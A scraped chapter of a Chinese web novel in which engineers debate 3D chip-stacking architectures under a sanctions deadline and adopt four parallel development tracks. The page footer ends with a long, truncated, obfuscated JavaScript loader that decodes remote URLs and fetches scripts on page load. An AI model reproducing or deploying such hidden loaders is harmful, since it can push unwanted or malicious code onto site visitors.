首页
第464章 架构演进路线讨论
返回
关灯 护眼:关 字号:小

第464章 架构演进路线讨论

章节报错(免登陆)

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    宋瑾在走廊上收到的那张便签,在周五下午被方敏贴在了合城人力资源中心的文化墙上。便签旁边是方敏从可验证墙科研伦理展区列印出来的一张照片——半块砖头搁在研发治理委员会会议桌上,旁边散落着草案文件的列印稿。两张纸并排贴在一起,中间隔着一拳的距离,像一个问题和一个回答在互相对望。
    便签上那句「什么样的小物件应该被自己记住,什么样的小物件应该被制度记住」还没有答案。但方敏不急着找答案。她在两张纸中间贴了一张空白的便签纸,纸上只写了一个日期——下周的日期,以及一行小字:「这个问题应该由不止一个人来回答。」
    而在合城中央研究院的深度计算实验室里,章宸正在面对一个比便签上的问题更硬丶更冷丶更需要被回答的问题。这个问题已经在他的工作日志里盘踞了将近四个月,从赵静揭示天权6号预调度模型在低温端准确率降至百分之八十六点三的非线性偏移那天开始,它就像一颗被压进弹簧里的钢珠,随着每一个技术参数的确认而越压越紧。
    问题是:天权7号的3D堆叠架构,到底该走哪条路。
    章宸在周四晚上把这个问题从工作日志里搬到了实验室的白板上。他用黑色马克笔画了三根柱子,每根柱子代表一套他过去四个月里反覆推演过的堆叠方案。第一根柱子标注着「同构堆叠」——两颗完全相同的天权6号计算晶粒通过矽通孔垂直互连,逻辑上构成一个统一的计算资源池,调度器在上层将任务拆解后分配到两颗晶粒上并行执行。第二根柱子标注着「异构堆叠」——一颗天权6号计算晶粒与一颗专用于特定负载的加速晶粒堆叠,加速晶粒上集成了羲和GPU架构的下一代变体和张京京设计的物理时钟偏斜补偿电路。第三根柱子标注着一个让陈醒在第一次听到时都愣了一下笔锋的名字——「逻辑-物理分离堆叠」。
    这个名字是章宸自己起的。它描述的不是一种架构,是一种架构哲学。在这套方案里,上下两层晶粒不是按计算任务分工,而是按「逻辑功能」和「物理资源」分离——上层晶粒承担全部的指令调度丶缓存一致性和虚存映射等逻辑功能,下层晶粒是一整块被剔除了所有控制逻辑的「裸算力」——密密麻麻的浮点单元丶向量单元和张量加速器,排列成一个纯计算阵列,通过超高密度的矽通孔矩阵与上层逻辑晶粒直连。
    「同构堆叠最稳。」章宸用红笔在第一根柱子上画了一个圈,「稳到几乎不需要新的架构验证。两颗天权6号的晶粒,良率已稳定在九十四点二,矽通孔间距压到了六微米,工艺参数在恒芯试产线上跑了三轮验证。把两颗往上一堆,软体调度的复杂度在作业系统层面可控,生态兼容性不需要任何改动。十二个月内能流片,十五个月内能进量产。」
    他把红笔放下,拿起蓝色马克笔。「也稳到了几乎没有任何突破。两颗天权6号堆在一起,功耗翻倍,面积翻倍,但单线程性能不增加。多线程性能靠调度器优化最多提升百分之六十到八十——因为内存带宽的瓶颈卡在封装基板上,不是卡在矽通孔密度上。这颗晶片做出来,在未来科技内部会被评价为『稳健的工程交付』。但火龙联盟的下一代架构不会等我们。北洲那家公司的3D堆叠验证晶片已经在顶会上发了论文——异构堆叠,计算晶粒加专用加速晶粒,能效比比同构高百分之四十。」
    蓝色马克笔在第二根柱子上画了一圈。「异构堆叠是我们目前内部呼声最高的方案。羲和GPU架构从风险清单变成了护城河,张京京的时钟偏斜方案可以在低温端把预调度模型的准确率从百分之八十六点三拉回九十三以上。赵静的三子模型架构在功耗控制上已经证明了它的价值。把这三样东西集成进一颗专用加速晶粒,和天权6号堆在一起,能效比会有质的提升。但代价是——软体栈需要重写。不是修改,是重写。任务调度器需要知道哪种负载适合主晶粒丶哪种负载适合加速晶粒,这个判断不能靠开发者手动标注——那会重蹈挪鸡鸭应用商店碎片化的覆辙。必须靠编译器自动识别丶自动分配丶自动负载均衡。一套能做好这件事的编译器,开发周期至少两年。我们从现在开始写,能在天权7号流片前完工吗?」
    实验室里安静了几秒。深度计算实验室的散热风扇阵列在背景中发出低沉的丶均匀的嗡鸣声——那声音和追光四期洁净间的风机声不同,更低沉,更像是某种沉默的巨型动物在匀速呼吸。
    章宸拿起黑色马克笔,走到第三根柱子前。他没有立刻画圈。他先在那根柱子旁边写了两个字——「赌注」。
    「逻辑-物理分离堆叠。」章宸的声音没有因为这个词的重量而拔高,反而更低了,「这套方案在学术界的顶会上被讨论过,在工业界没有被任何一家公司实现过。不是因为大家不想——是因为这套架构对矽通孔密度的要求是现有工艺极限的三倍,对热管理的挑战是现有方案的至少两倍,对作业系统的内存模型是一个从零开始的定义。同构堆叠用现有的矽通孔间距六微米就够。异构堆叠需要把矽通孔间距压到四微米,恒芯试产线已经在向五点五微米推进,乐观估计十二个月内能碰到四点五。逻辑-物理分离堆叠需要矽通孔间距在两点五微米以下——不是微凸点,是混合键合。混合键合技术目前在全球范围内只有一家北洲公司和一家霓虹研究所在实验线上跑通过,良率不到百分之三十。」
    他把马克笔搁在白板下方的笔槽里,从实验台上拿起一块天权6号的工程样片。样片被封装在一层透明的环氧树脂里,晶片表面的金属层在实验室的白光下反射出细密的虹彩。
    「但如果这条路走通了,结果是什么?」章宸把样片举到白板前,放在第三根柱子旁边,「结果是一颗晶片,它的逻辑层可以独立叠代——当你需要升级指令集架构或者改进调度算法时,只换上层逻辑晶粒就够了,下层的算力阵列原封不动。结果是一颗晶片,它的算力密度可以线性扩展——因为下层没有控制逻辑,全部是计算单元,矽通孔的带宽可以全部用来搬运数据而不是搬运控制信号。结果是一颗晶片,它的能效比不是比上一代提升百分之几十——是提升几倍。」
    「这不是一个产品,是一个架构平台。如果逻辑-物理分离堆叠走通了,天权7号就不只是天权6号的下一代——它是未来十年所有天权晶片的架构地基。天权8号可能只是换一颗逻辑晶粒,天权9号可能只是把算力阵列从七纳米叠代到五纳米。所有的软体生态不需要重新适配,因为逻辑层的指令集架构是向前兼容的。」
    陈醒的声音从实验室门口传来。他站在那里不知道多久了,手里端着一杯已经不冒热气的茶。他走进来,在白板前的摺叠椅上坐下,看了一眼那三根柱子和章宸手里的工程样片。
    「你刚才说同构堆叠能在十二个月内流片。」陈醒说,「异构堆叠需要编译器团队至少两年的开发周期。第三套方案——那个分离堆叠——需要多久?」
    章宸转过身,在白板第三根柱子旁边写了一行数字。「矽通孔两点五微米以下的混合键合——恒芯现在做不到,追光先进封装线还没建,焊料合金国产替代配方中试验证还在等合工热工的下一轮工艺窗口。作业系统内存模型重写——至少十八个月。编译器适配——和异构方案一样,两年。如果按最乐观估计,混合键合在十四个月内突破到良率百分之四十以上,其他模块并行推进,逻辑-物理分离堆叠的首颗验证晶片能在三十六个月内流片。」
    「三十六个月。」陈醒重复了一遍这个数字,「火龙联盟的全面制裁时间窗口,在最近一次战术推演中被评估为十二到十八个月。实体清单一旦落地,先进封装设备和材料的进口通道可能会在六个月内被切断。我们在三十六个月后才能流片的架构——在最坏情况下,可能根本找不到代工厂愿意接单。」
    「所以同构堆叠是唯一在制裁时间窗口内存活的方案。」章宸说。他用红笔在白板边缘画了一条水平线,线下方写着「制裁窗口内的可行域」,上方写着「制裁窗口外的探索域」。同构堆叠完全在线下方。异构堆叠的流片时间线跨在线上——一部分在窗口内,一部分在窗口外。逻辑-物理分离堆叠整根柱子在线的上方,远到连跨线的资格都没有。
    「但我画这条线的时候,假设的是追光产线被限制在现有工艺节点上。」章宸在水平线旁边加了一个星号,「如果我们自己的制造能力在三十六个月内把先进封装突破了——不是依赖进口设备,是全国产替代线跑通了混合键合——那这条线的位置就会移动。补天计划的目标是十二个月内EDA国产化率从百分之四十迈向百分之七十。如果补天能做到,那追光的国产替代为什么不能在三十六个月内把矽通孔间距压到两点五微米?」
    林薇在第二天上午被章宸从追光四期的洁净间里请到了深度计算实验室。她一进实验室的门就看到了白板上那三根柱子,看到章宸一夜之间在每根柱子旁边补充的技术参数矩阵——矽通孔间距需求丶热设计功耗上限丶内存带宽需求丶编译器开发周期丶作业系统改动量丶生态兼容性影响丶以及最关键的一列:制造端可行性评估。
    林薇把白大褂脱下来搭在椅背上,站在白板前看了将近十分钟。她没有先说话——她在脑子里把章宸写的每一个数字和她自己在追光四期洁净间里摸到的工艺极限逐条做了比对。比对完成之后,她拿起一支绿色马克笔,在第三根柱子旁边的「矽通孔间距需求:≤2.5μm」那行字下方画了一条新的线。
    「六微米到五点五微米,恒芯试产线已经做到了。五点五到四点五,十二个月内有希望,但需要焊料合金国产替代配方完成中试验证——合工热工的下一轮工艺窗口排在下个月。四点五到三点五,需要全面切换混合键合工艺路径,追光先进封装线目前连桩基都还没打。」林薇在三点五微米的位置画了一个红圈,「三点五到两点五,这是一个不连续的跳跃。不是在现有工艺路径上优化参数——是换一条完全不同的物理路径。混合键合的核心设备目前全球只有一家北洲公司和一家霓虹研究所的定制设备能跑通,这两家的设备都在出口管制清单上。国产替代设备——顾教授和合工热工联合改造方案的目标是十四纳米光刻配套,不是混合键合。如果我们现在启动混合键合国产设备的预研,按照天枢OS产线管理系统的项目周期模型推算,从方案论证到首台原型机交付,最乐观的时间是——三十个月。」
    实验室里安静下来。三十个月加上设备调试和工艺磨合,总周期很可能超过四十个月。而章宸标注的逻辑-物理分离堆叠流片时间线——三十六个月——是建立在混合键合在十四个月内突破的前提上的。如果混合键合设备本身需要三十个月才能到位,那三十六个月的流片节点就不成立。
    章宸走到白板前,在林薇画的绿线旁边用黄色马克笔画了一条新的线。黄色的线从「混合键合设备国产化:30个月」出发,向右延伸出一条向下的分支,分支指向一个他新写的方案名称——「中间态」。
    「我们不等到两点五微米才上分离架构。」章宸在方案名称下方写道,「用矽通孔间距四微米——异构堆叠需要的密度——先做一版逻辑-物理分离的验证晶片。不是最终产品,是验证平台。逻辑层晶粒用天权6号的简化版本——只保留指令调度丶缓存一致性和虚存映射,砍掉所有的计算单元。物理层晶粒用一颗现有的天权6号完整晶粒——不是裸算力阵列,但通过固件屏蔽掉它的调度逻辑,让它看起来像一个纯计算池。两颗晶粒通过四微米间距的矽通孔堆叠在一起,跑一套最小可验证的作业系统内核。验证的核心不是性能,是逻辑-物理分离的架构范式能不能在矽片上跑通。」
    林薇在章宸画新线的时候一直盯着白板上的数字。等她开口时,她没有说「可行」或「不可行」。她说的是一个更精确的词——「可在产线上验证」。
    「四微米矽通孔恒芯试产线在十二个月内能做到。用天权6号现有晶粒,不需要新的掩模组,不需要新的工艺模块。唯一需要新增的是一套在固件层面屏蔽控制逻辑的验证工具——这属于软体范畴,章宸的团队自己就能搞定。」林薇拿起马克笔,在章宸的「中间态」方案旁边写下了「产线验证可行性评估:预计通过」十个字,然后在下面附了一行小字:「追光四期洁净间可在夜间维护窗口期内提供每周两次丶每次六小时的验证晶圆排片。不影响量产产能。」
    章宸看着林薇写下的那行小字,嘴角出现了一道几乎察觉不到的弧线。那不是笑——是他在脑子里跑通了某条逻辑链之后身体的自然反应。
    「好。」章宸把三根柱子旁边的方案名称做了修改。第一根——同构堆叠——旁边标注着「量产方案,流片窗口不变」。第二根——异构堆叠——旁边标注着「竞争方案,编译器开发周期两年,与中间态验证并行推进」。第三根——逻辑-物理分离堆叠——被拆成了两个阶段:第一个阶段是「中间态验证平台」,标注着「四微米矽通孔+天权6号现有晶粒+固件屏蔽方案,目标十二个月内流片验证」;第二个阶段是「全分离架构目标态」,标注着「两点五微米混合键合+裸算力阵列+全新逻辑晶粒,目标三十六个月内流片」。
    三根柱子变成了四张时间表。四张时间表在白板上排列成一个向下的梯阵——最上面是同构堆叠,稳丶快丶没有突破。最下面是全分离架构,远丶难丶一旦突破就是下一个十年的地基。中间两层是异构堆叠和中间态验证平台——它们不是妥协方案,是同时推进的多条技术路线。
    「这就是架构演进路线的本质。」章宸退后几步,背靠着实验室的工作台,面对整面白板,「不是在好和坏之间选——是在不同时间尺度上的不同收益之间做组合。同构堆叠赌的是短期生存——制裁窗口内能交付丶能叠代丶能维持天权产品线的市场节奏。异构堆叠赌的是中期竞争力——编译器写好了,加速晶粒的性能优势在两年后能打穿火龙联盟的能效比防线。中间态验证平台赌的是架构范式的可行性——如果十二个月内在四微米矽通孔上跑通了逻辑-物理分离的最小验证系统,那全分离架构就从『纸上谈兵』变成了『有矽验证』。全分离架构赌的是长期主权——当矽通孔密度最终突破两点五微米时,未来科技已经有一套在矽上验证过的架构范式,不需要从零开始追赶。」
    「四线并行。」陈醒从摺叠椅上站起来,走到白板前,在四张时间表的顶部写了一行字——「天权架构演进路线图草案,待研发治理委员会审议」。然后他在四张时间表之间画了四条横向的虚线,把虚线连成一排,标注着「每季度联合评审:制造端工艺进度丶编译器开发进度丶验证平台跑通状态丶制裁窗口变化。评审结果决定下一季度四条线的资源配比。」
    「这不是一场赌博。」陈醒把马克笔放回笔槽,「赌博是押一条路,赢则通吃输则归零。你要做的是让未来科技同时保有四种未来——在制裁窗口内活下来的未来丶在能效比上反超的未来丶在架构范式上领先十年的未来丶以及在所有这些未来中随时可以根据外部条件切换路线的制度能力。这个制度能力本身,比任何一条具体的架构路线都更值钱。」
    章宸在陈醒写下「每季度联合评审」那行字时,在工作日志上记了一笔。他记的不是技术参数——技术参数都已经在白板上了。他记的是陈醒用的那个词组——「制度能力」。
    「架构演进路线从来不只是技术问题。」章宸在日志中写道,「它在每一个分叉口上都面临同一个困境:选择一条路意味着放弃其他路的可能性。在大多数晶片公司,这个选择是由总架构师的个人判断做出的——他押哪条路,全公司就押哪条路。如果押错了,公司输掉一个产品周期。如果押对了,公司赢回一个技术代差。但这种模式的致命缺陷是——总架构师也是人,人总会有盲区。我自己的盲区在于我天生倾向于选择最难的那条路——不是因为它一定对,是因为它的技术纵深更让我兴奋。但『更让我兴奋』不是一个可靠的决策依据。」
    「四线并行制度把架构选择的决策逻辑从『个人押注』变成了『制度推演』。每一条线都有自己的时间表丶里程碑和资源需求。每一条线的推进速度取决于它自己的实际进展和外部条件的变化——而不是取决于总架构师对它的偏爱程度。当制裁窗口提前闭合时,制度会自动压缩长期探索线的资源配比。当混合键合设备国产化跑出了超预期的进度时,制度会自动给全分离架构线追加资源。制度不替代人的判断——它替代的是『只有一个人在判断』这种结构。」
    方敏在当天下午把章宸工作日志中的这段话摘出来,贴在了星火计划首批入选者的共享学习平台上。她在摘录下方加了一道讨论题:「章宸院士把架构选择从『个人押注』变成了『制度推演』。在你的岗位上,有没有一个关键决策目前还在靠你个人的直觉在支撑?如果要把这个决策也变成制度推演,你需要什么样的同行评议机制丶数据支撑和定期覆审节奏?」
    第一个回答这道题的人是法蒂玛。她从印巴装配厂通过视频提交了回答——她在产线夜班休息时间用手机录了一段语音,王磊帮她转成了文字。她在回答中写道:「我做工艺组长之后,最靠直觉的决策是判断一批回流焊的温度曲线要不要微调。天枢OS产线管理系统给了标准曲线,但印巴厂的湿度和合城不一样。我在合城培训时学到的曲线在这里不一定最优。目前我的判断靠的是我在恒芯试产线闻焊膏味道的经验——我知道什么样的味道对应什么样的活性剂挥发速率。这个经验没有文档,没有数据,全在我的鼻子里。如果要把这个判断变成制度推演,我需要一个能实时采集焊膏挥发物浓度并把数据映射到回流焊曲线参数的气相传感器阵列。王磊厂长说这个设备太贵。但我想知道——和损失一批板子相比,它到底贵不贵。」
    方程在新加坡读到法蒂玛的回答时,把这条讨论题转发给了蔡总——爪哇商城晶片设计服务公司的技术副总裁。她在转发邮件中写道:「架构演进路线的四线并行制度,在生态管理领域有一个对应物——天罡生态的商用授权收入丶公益支出和孵化回注三者之间的资源配比也在一个多目标优化中动态调整。章宸的四线并行是技术架构的推演逻辑,生态架构的推演逻辑能不能从技术架构的方法论里借一些东西过来?比如每季度联合评审丶根据外部条件自动压缩或追加资源丶以及把『负责人的直觉』替换成『制度化的多维数据决策』。」
    蔡总在当天深夜回了邮件。邮件很短,但末尾有一段让方程看了很久的话:「章宸院士做的事在晶片行业叫『多路探索并行推进』。在生态管理领域,同样的事可以叫『多价值目标并行平衡』。但两者的核心瓶颈是一样的——不是缺数据,是缺『愿意在数据不支持自己倾向的方案时仍然接受数据结论』的人。章宸院士最珍贵的不是他的架构洞察力——是他愿意在自己最心爱的第三条路旁边划出一条中间态验证平台,而不是跳过验证直奔最终目标。生态管理中最稀缺的也是这种自觉——愿意在公益的商业化回报没有被数据证明之前,不把公益预算砍掉。」
    在合城,章宸在周五晚上的深度计算实验室里开始起草天权架构演进路线图的技术白皮书。白皮书的第一页印着四张时间表的并排对比图,图的底部引用了陈醒写在白板边缘的那行字——「四条线同时跑,不是为了分散风险,是为了在每一条线上都积累判断力。判断力不能外包给任何一个人,也不能外包给任何一个算法。它只能在制度推演的反覆实践中,从一群人的讨论丶数据比对和产线反馈中逐渐长出来。」
    他把白皮书的初稿发给林薇丶赵静丶张京京和梁志远,附言只有一行字:「请从你们的专业视角挑刺。挑得越尖锐,架构越硬。」
    发送键按下后,章宸走到实验室的窗户边。窗外,追光五期的钢结构在夜色中已经吊装到了第六层。恒芯封装试产线的无尘车间亮着淡黄色的灯光——罗工的团队正在为矽通孔间距五点五微米的首批测试晶圆做最后一道表面清洁。更远处,合城产学研融合中心的多功能会议厅还亮着灯——苏黛和方敏正在那里为下一场人才留存与激励方案评估的内部研讨会做最后的材料核对。
    而在密支那培训点的维修车间里,阿贡的徒弟在关店前检查了最后一台天权终端的维修记录——他在纸质记录表上签下了自己的名字,然后打开天枢OS法务预警系统的轻量化离线存证模块,把签名扫描件上传到了区块链存证节点。屏幕上的状态灯从「离线待同步」跳转为「已存证」,用时不到两秒。
    这个功能是郑工在收到阿贡徒弟在季度报告发布会上提出的离线存证加断网同步需求后,用了一个月的时间开发完成的。郑工在功能上线的版本说明中写道:「街边店场景适配——低带宽丶断网容忍丶离线签名同步后自动上链。本模块不解决任何算力瓶颈,不优化任何功耗曲线。它只解决一个问题:一个在雨季断网的密支那维修技师,他的维修记录单和造芯学院宋瑾老师的实验记录表,在同一套制度里享有同等的存证效力。」
    版本说明被方敏贴在了可验证墙的星火计划专区里,作为「制度如何回应基层需求」的典型案例。而在那张便签——「什么样的小物件应该被自己记住,什么样的小物件应该被制度记住」——旁边,终于有人贴上了第一张回复便签。
    回复便签的笔迹是宋瑾的,字是她在深夜备课时写的。「应该被自己记住的,是那些只有你一个人经历过丶说出去别人不一定理解的东西——比如垫凳子的砖头丶焊膏的味道丶皮卡后厢里颠簸了八个小时的维修备件箱。应该被制度记住的,是那些在可验证墙上可以被任何人查到丶在任何时候都可以被引用为决策依据的东西——比如数据偏差的更正声明丶架构推演的四条线丶离线存证模块的版本号。前者是你的根,后者是你在制度里种下的树。根在土里看不见,树在地面上可以让后来的人乘凉。两者都需要。两者之间的路,就是星火计划要带着人走一遍的那条路。」
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 